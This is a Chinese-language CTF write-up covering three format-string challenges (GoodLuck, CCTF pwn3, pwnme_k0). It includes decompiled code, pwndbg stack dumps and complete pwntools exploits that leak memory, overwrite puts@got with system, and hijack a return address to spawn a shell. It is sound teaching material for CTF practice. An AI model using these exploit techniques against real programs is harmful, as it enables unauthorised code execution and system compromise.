这一部分主要写三道PWN题,都还算是比较简单的,同样参考CTF-wiki里的writeup
1.pwn200 Goodluck
这道题是64位的格式化字符串漏洞,主要利用格式化字符串漏洞泄露内存中的数据就足够了。
64位的偏移计算和32位类似,都是算对应的参数。只不过64位函数的前6个参数是存储在相应的寄存器中的。那么在格式化字符串漏洞中呢?虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。
以UIUCTF中 pwn200 GoodLuck为例进行介绍。需要在本地设置一个flag.txt文件
确定保护
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
分析程序
IDA看一下程序,发现错误出在printf(format)
这里
for ( j = 0; j <= 21; ++j )
{
v4 = format[j];
if ( !v4 || v10[j] != v4 )
{
puts("You answered:");
printf(format);
puts("\nBut that was totally wrong lol get rekt");
fflush(_bss_start);
return 0;
}
}
里边的format字符串是接收用户的输入,这样就提供了触发该漏洞的机会。
gdb调试
在printf处下断点,放开运行
what's the flag
123456
You answered:
Breakpoint 1, __printf (format=0x602cb0 "123456") at printf.c:28
28 printf.c: 没有那个文件或目录.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────[ REGISTERS ]─────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x7ffff7af2224 (write+20) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x7ffff7dcf8c0 (_IO_stdfile_1_lock) ◂— 0x0
RDI 0x602cb0 ◂— 0x363534333231 /* '123456' */
RSI 0x602490 ◂— 'You answered:\ng\nit!}\n'
R8 0x7ffff7fde500 ◂— 0x7ffff7fde500
R9 0x0
R10 0x3
R11 0x7ffff7a46f70 (printf) ◂— sub rsp, 0xd8
R12 0x4006b0 (_start) ◂— xor ebp, ebp
R13 0x7fffffffdf70 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffde90 —▸ 0x400900 (__libc_csu_init) ◂— push r15
RSP 0x7fffffffde48 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8
RIP 0x7ffff7a46f70 (printf) ◂— sub rsp, 0xd8
──────────────────────────────────────[ DISASM ]───────────────────────────────────────
► 0x7ffff7a46f70 <printf> sub rsp, 0xd8
0x7ffff7a46f77 <printf+7> test al, al
0x7ffff7a46f79 <printf+9> mov qword ptr [rsp + 0x28], rsi
0x7ffff7a46f7e <printf+14> mov qword ptr [rsp + 0x30], rdx
0x7ffff7a46f83 <printf+19> mov qword ptr [rsp + 0x38], rcx
0x7ffff7a46f88 <printf+24> mov qword ptr [rsp + 0x40], r8
0x7ffff7a46f8d <printf+29> mov qword ptr [rsp + 0x48], r9
0x7ffff7a46f92 <printf+34> je printf+91 <printf+91>
↓
0x7ffff7a46fcb <printf+91> mov rax, qword ptr fs:[0x28]
0x7ffff7a46fd4 <printf+100> mov qword ptr [rsp + 0x18], rax
0x7ffff7a46fd9 <printf+105> xor eax, eax
───────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ rsp 0x7fffffffde48 —▸ 0x400890 (main+234) ◂— mov edi, 0x4009b8
01:0008│ 0x7fffffffde50 ◂— 0x31000001
02:0010│ 0x7fffffffde58 —▸ 0x602cb0 ◂— 0x363534333231 /* '123456' */
03:0018│ 0x7fffffffde60 —▸ 0x602260 ◂— 0x0
04:0020│ 0x7fffffffde68 —▸ 0x7fffffffde70 ◂— 0x6320757b67616c66 ('flag{u c')
05:0028│ 0x7fffffffde70 ◂— 0x6320757b67616c66 ('flag{u c')
06:0030│ 0x7fffffffde78 ◂— 0x20656b616d206e61 ('an make ')
07:0038│ 0x7fffffffde80 ◂— 0xff0a7d217469
─────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
► f 0 7ffff7a46f70 printf
f 1 400890 main+234
f 2 7ffff7a03bf7 __libc_start_main+231
───────────────────────────────────────────────────────────────────────────────────────
(1)可见flag对应的栈上的偏移为5,除去对应的第一行为返回地址外,其偏移为4。
(2)此外,由于这是一个64程序,所以前6个参数存放在对应的寄存器中,fmt字符串存储在RDI寄存器中,所以fmt字符串对应的地址的偏移为10。
(3)而fmt字符串中%order$s
对应的order为fmt字符串后面的参数的顺序,所以我们只需要值入%9$s
即可得到flag的内容
exp
from pwn import *
sh=process('./goodluck')
sh.sendline('%9$s')
print sh.recv()
2016 CCTF pwn3
原理
在目前的C程序中,libc中的函数都是通过GOT表来跳转的。此外,在没有开启RELRO保护的前提下。每个libc的函数对应的GOT表项是可以被修改的。
因此,我们可以修改某个libc函数的GOT表内容为另一个libc函数的地址来实现对程序的控制。
比如说我们可以修改printf的got表项内容为system函数的地址。从而,程序在执行printf的时候实际执行的是system函数。
假设我们将函数A的地址覆盖为函数B的地址,那么这一攻击技巧可以分为以下步骤
(1)确定函数A的GOT表项
这一步我们利用的函数A一般在程序中已有
(2)确定函数B的内存地址
这一步通常来说,需要我们子集想办法来泄露对应函数B的地址。
(3)将函数B的内存地址写入到函数A的GOT表地址处。
这一步一般来说需要我们利用函数的漏洞来进行触发,一般利用方法有如下两种
·写入函数:write函数
·ROP
pop eax; ret ; #printf@got -->eax
pop ebx; ret; #(addr_offset =system_addr - printf-addr) -->ebx
add [eax] ebx ; ret; #[printf@got]=[printf@got]+addr_offset
·格式化字符串任意地址写
查看保护
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开启了NX保护,即数据不可执行
IDA分析
main函数
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
signed int v3; // eax
int v4; // [esp+14h] [ebp-2Ch]
int v5; // [esp+3Ch] [ebp-4h]
setbuf(stdout, 0);
ask_username((char *)&v4);
ask_password((char *)&v4);
while ( 1 )
{
while ( 1 )
{
print_prompt();
v3 = get_command();
v5 = v3;
if ( v3 != 2 )
break;
put_file();
}
if ( v3 == 3 )
{
show_dir();
}
else
{
if ( v3 != 1 )
exit(1);
get_file();
}
}
}
简单运行一下pwn3,再看主函数,需要简单进行一下reverse
ask_username()函数接收第一次的输入,ask_password对输入进行验证,和"sysbdmin"进行比较
char *__cdecl ask_username(char *dest)
{
char src[40]; // [esp+14h] [ebp-34h]
int i; // [esp+3Ch] [ebp-Ch]
puts("Connected to ftp.hacker.server");
puts("220 Serv-U FTP Server v6.4 for WinSock ready...");
printf("Name (ftp.hacker.server:Rainism):");
__isoc99_scanf("%40s", src);
for ( i = 0; i <= 39 && src[i]; ++i )
++src[i];
return strcpy(dest, src);
}
int __cdecl ask_password(char *s1)
{
if ( strcmp(s1, "sysbdmin") )
{
puts("who you are?");
exit(1);
}
return puts("welcome!");
}
ask_username()中对输入字符串进行了简单的变化,先计算一下需要输入的字符串
str1='sysbdmin'
str2=''
for i in str1:
new = chr (ord(i)-1)
str2 + = new
print str2
计算出输入值为 'rxraclhm'
在主循环中有put_file(),show_dir(),get_file()三个函数
put_file()
file *put_file()
{
file *v0; // ST1C_4
file *result; // eax
v0 = (file *)malloc(244u);
printf("please enter the name of the file you want to upload:");
get_input((int)v0, 40, 1);
printf("then, enter the content:");
get_input((int)v0->content, 200, 1);
v0->previous = file_head;
result = v0;
file_head = (int)v0;
return result;
}
看看put_file函数中,接收我们输入file的名字以及内容。
使用malloc分配244个字节,建立如下数据结构,多次的put将形成一条链表。
struct_FILE{
char filename[40];
char content[200];
struct _FILE *previous;
};
get_file()
int get_file()
{
char dest; // [esp+1Ch] [ebp-FCh]
char s1; // [esp+E4h] [ebp-34h]
char *i; // [esp+10Ch] [ebp-Ch]
printf("enter the file name you want to get:");
__isoc99_scanf("%40s", &s1);
if ( !strncmp(&s1, "flag", 4u) )
puts("too young, too simple");
for ( i = (char *)file_head; i; i = (char *)*((_DWORD *)i + 60) )
{
if ( !strcmp(i, &s1) )
{
strcpy(&dest, i + 0x28);
return printf(&dest); //格式化字符串漏洞
}
}
return printf(&dest); //格式化字符串漏洞
}
get_file()函数中存在格式化字符串函数。
要求先输入filename,然后遍历链表,匹配filename,找到则输出内容。找不到的话,是输出当前栈里的内容。
show_dir()
int show_dir()
{
int v0; // eax
char s[1024]; // [esp+14h] [ebp-414h]
int i; // [esp+414h] [ebp-14h]
int j; // [esp+418h] [ebp-10h]
int v5; // [esp+41Ch] [ebp-Ch]
v5 = 0;
j = 0;
bzero(s, 0x400u);
for ( i = file_head; i; i = *(_DWORD *)(i + 240) )
{
for ( j = 0; *(_BYTE *)(i + j); ++j )
{
v0 = v5++;
s[v0] = *(_BYTE *)(i + j);
}
}
return puts(s);
}
遍历链表,将所有的filename串起来输出。
并且里边调用了puts()函数,因此可以修改puts@got表
计算偏移
利用之前的知识来计算偏移量,输入aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
,则
pwndbg> c
Continuing.
aaaa.bbbb.cccc.0x804b598.0x4.0xf7de5f88.0xfbad2887.0x7d4.0xf7fb1220.0x61616161.0x6262622e.0x63632e62.0x252e6363.0x70252e70.0x2e70252e
pwndbg> stack 30
00:0000│ esp 0xffffcecc —▸ 0x80488a3 (get_file+173) ◂— leave
01:0004│ 0xffffced0 —▸ 0xffffceec ◂— 'aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
02:0008│ 0xffffced4 —▸ 0x804b598 ◂— 'aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
03:000c│ 0xffffced8 ◂— 0x4
04:0010│ 0xffffcedc —▸ 0xf7de5f88 ◂— movsd dword ptr es:[edi], dword ptr [esi]
05:0014│ 0xffffcee0 ◂— 0xfbad2887
06:0018│ 0xffffcee4 ◂— 0x7d4
07:001c│ 0xffffcee8 —▸ 0xf7fb1220 (_IO_helper_jumps) ◂— 0x0
08:0020│ eax 0xffffceec ◂— 'aaaa.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
09:0024│ 0xffffcef0 ◂— '.bbbb.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0a:0028│ 0xffffcef4 ◂— 'b.cccc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0b:002c│ 0xffffcef8 ◂— 'cc.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0c:0030│ 0xffffcefc ◂— 'p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0d:0034│ 0xffffcf00 ◂— '.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
0e:0038│ 0xffffcf04 ◂— '%p.%p.%p.%p.%p.%p.%p.%p.%p'
0f:003c│ 0xffffcf08 ◂— 'p.%p.%p.%p.%p.%p.%p.%p'
10:0040│ 0xffffcf0c ◂— '.%p.%p.%p.%p.%p.%p'
11:0044│ 0xffffcf10 ◂— '%p.%p.%p.%p.%p'
12:0048│ edx 0xffffcf14 ◂— 'p.%p.%p.%p'
13:004c│ 0xffffcf18 ◂— '.%p.%p'
14:0050│ 0xffffcf1c ◂— 0x7025 /* '%p' */
15:0054│ 0xffffcf20 ◂— 0x0
16:0058│ 0xffffcf24 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
17:005c│ 0xffffcf28 —▸ 0xf7fb1220 (_IO_helper_jumps) ◂— 0x0
18:0060│ 0xffffcf2c —▸ 0xf7fb19f4 ◂— 0x0
19:0064│ 0xffffcf30 ◂— 0x3c /* '<' */
1a:0068│ 0xffffcf34 ◂— 0x0
1b:006c│ 0xffffcf38 —▸ 0xf7e4d119 (__GI__IO_file_xsgetn+9) ◂— add eax, 0x165ee7
1c:0070│ 0xffffcf3c ◂— 0x1
1d:0074│ 0xffffcf40 —▸ 0xf7fb35c0 (_IO_2_1_stdin_) ◂— 0xfbad2288
有两种判断偏移的办法
(1)看%p输出的结果里,偏移为7
(2)从栈中看0xffffced4到0xffffceec的偏移为7
思路
(1)首先读取puts@got的内容,得到puts函数的地址,然后通过libc中偏移量固定的方式计算出system的地址。
(2)将system地址写到puts@got里,替换puts函数
(3)让程序执行pus('/bin/sh'),那么实际执行的是system('/bin/sh')
EXP
from pwn import *
import sys
###context.log_level='debug'
###首先定义用于put file和get file的函数
def put_file(name,text):
sh.recvuntil('>')
sh.sendline('put')
sh.recvuntil('upload:')
sh.sendline(name)
sh.recvuntil('content:')
sh.sendline(text)
def get_file(name):
sh.recvuntil('>')
sh.sendline('get')
sh.recvuntil('to get:')
sh.sendline(name)
sh=process('./pwn3')
elf=ELF('./pwn3')
libc=ELF('libc6_2.27-3ubuntu1.4_i386.so')
###发送密码
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
sh.sendline('rxraclhm')
###泄露puts的地址
puts_got=elf.got['puts']
log.success('puts got: '+hex(puts_got))
put_file('/sh',p32(puts_got)+'%7$s')
get_file('/sh')
recv=sh.recv()
puts_addr=u32(recv[4:8])
###得到system的地址
system_addr=puts_addr-(libc.symbols['puts']-libc.symbols['system'])
log.success('system addr :'+hex(system_addr))
###修改puts_got,让其指向system_addr
payload=fmtstr_payload(7,{puts_got:system_addr})
put_file('/bin',payload)
get_file('/bin')
###调用put,从而调用system
sh.recvuntil('ftp>')
sh.sendline('dir')
sh.interactive()
再说两句
这道题踩了几个坑,首先是用题目自带的libc,怎么做也做不出来。后来用LibcSearcher,也匹配不到,到后来还是去libc database search搜索到的对应libc版本。
嗯,得到了puts的地址之后,慢慢做,会出来的。
fmtstr_payload()
fmtstr_payload()是pwntools里面的一个工具,用来简化对格式化字符串漏洞的构造工作。
可以实现修改任意内存
fmtstr_payload(offset,{printf_got:system_addr}) (偏移,{源地址:目的地址})
mtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
三个白帽-pwnm3_k0
hijack retaddr
利用格式化字符串漏洞来劫持程序的返回地址到我们想要执行的地址。
确定保护
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启了数据不可执行(NX),并且有RELRO,所有不能修改GOT表
IDA分析
首先是一个让我们输入username和 password的函数
__int64 __fastcall sub_400903(__int64 buf, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 bufa, __int64 a8, __int64 a9, __int64 a10, __int64 a11)
{
unsigned __int8 v12; // [rsp+1Fh] [rbp-1h]
puts("Register Account first!");
puts("Input your username(max lenth:20): ");
fflush(stdout);
v12 = read(0, &bufa, 0x14uLL);
if ( v12 && v12 <= 0x14u )
{
puts("Input your password(max lenth:20): ");
fflush(stdout);
read(0, (char *)&a9 + 4, 0x14uLL);
fflush(stdout);
*(_QWORD *)buf = bufa;
*(_QWORD *)(buf + 8) = a8;
*(_QWORD *)(buf + 16) = a9;
*(_QWORD *)(buf + 24) = a10;
*(_QWORD *)(buf + 32) = a11;
}
else
{
LOBYTE(bufa) = 48;
puts("error lenth(username)!try again");
fflush(stdout);
*(_QWORD *)buf = bufa;
*(_QWORD *)(buf + 8) = a8;
*(_QWORD *)(buf + 16) = a9;
*(_QWORD *)(buf + 24) = a10;
*(_QWORD *)(buf + 32) = a11;
}
return buf;
}
需要注意的是里边读取密码的部分,
read(0,(char *)&a9+4,0x14uLL);
漏洞出现在下边的函数中,其输出内容为&a4+4。
int __fastcall sub_400B07(char format, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, char formata, __int64 a8, __int64 a9)
{
write(0, "Welc0me to sangebaimao!\n", 0x1AuLL);
printf(&formata, "Welc0me to sangebaimao!\n");
return printf((const char *)&a9 + 4);
}
第二个printf输出的内容正&a9+4好是之前read写入password的内容。
并且在IDA中分析可以得知&a9+4-&bufa=14h=20
system('/bin/sh')
发现strings里面有/bin/sh,在0x4008A6地址处有一个直接调用system('/bin/sh')的函数。
.text:00000000004008A6 sub_4008A6 proc near
.text:00000000004008A6 ; __unwind {
.text:00000000004008A6 push rbp
.text:00000000004008A7 mov rbp, rsp
.text:00000000004008AA mov edi, offset command ; "/bin/sh"
.text:00000000004008AF call system
.text:00000000004008B4 pop rdi
.text:00000000004008B5 pop rsi
.text:00000000004008B6 pop rdx
.text:00000000004008B7 retn
.text:00000000004008B7 sub_4008A6 endp ; sp-analysis failed
思路
如果修改某个函数的返回地址为0x4008A6,那就相当于获得了shell。
虽然存储返回地址的内存本身是动态变化的,但是其相对于rbp的地址并不会改变,所以我们可以使用相对地址来计算。利用思路如下:
(1)确定偏移
(2)获取函数的RBP与返回地址
(3)根据相对偏移获取存储返回地址的地址
(4)将执行system函数调用的地址写入到存储返回地址的地址。
确定偏移
在printf处下断点,输入aaaaaaaa为用户名,
密码输入为 %p%p%p%p%p%p%p%p%p%p
00:0000│ rsp 0x7fffffffdd98 —▸ 0x400b2d ◂— lea rax, [rbp + 0x24]
01:0008│ rbp 0x7fffffffdda0 —▸ 0x7fffffffdde0 —▸ 0x7fffffffde90 —▸ 0x400eb0 ◂— push r15
02:0010│ 0x7fffffffdda8 —▸ 0x400d74 ◂— add rsp, 0x30
03:0018│ rdi 0x7fffffffddb0 ◂— 'aaaaaaaa\n'
04:0020│ 0x7fffffffddb8 ◂— 0xa /* '\n' */
05:0028│ 0x7fffffffddc0 ◂— 0x7025702500000000
可以看到用户名在栈上第三个位置,除去本身格式化字符串的位置,其偏移为5+3=8。
并且栈上第二个位置存储的就是该函数的返回地址(其实也就是调用show account函数时执行push rip所存储的值),在格式化字符串中的偏移为7。
与此同时栈上,第一个元素存储的也就是上一个函数的rbp。所以我们可以得到偏移0x7fffffffdde0- 0x7fffffffdda8=0x38。继而如果我们知道了rbp的数值,就知道了函数返回地址的地址。
0x400d74与0x4008A6只有低2字节不同,所以我们可以只修改0x7fffffffdda8开始的2个字节,因此可以利用$hn只对后三位修改即可,0x8A6对应的10进制数字为2214,但是这里需要修改为2214+4=2218
EXP
from pwn import *
context.log_level="debug"
context.arch="amd64"
sh=process("./pwnme_k0")
binary=ELF("pwnme_k0")
#gdb.attach(sh)
sh.recv()
sh.writeline("1"*8)
sh.recv()
sh.writeline("%6$p")
sh.recv()
sh.writeline("1")
sh.recvuntil("0x")
ret_addr = int(sh.recvline().strip(),16) - 0x38
success("ret_addr:"+hex(ret_addr))
sh.recv()
sh.writeline("2")
sh.recv()
sh.sendline(p64(ret_addr))
sh.recv()
#sh.writeline("%2214d%8$hn")
#0x4008aa-0x4008a6
sh.writeline("%2218d%8$hn")
sh.recv()
sh.writeline("1")
sh.recv()
sh.interactive()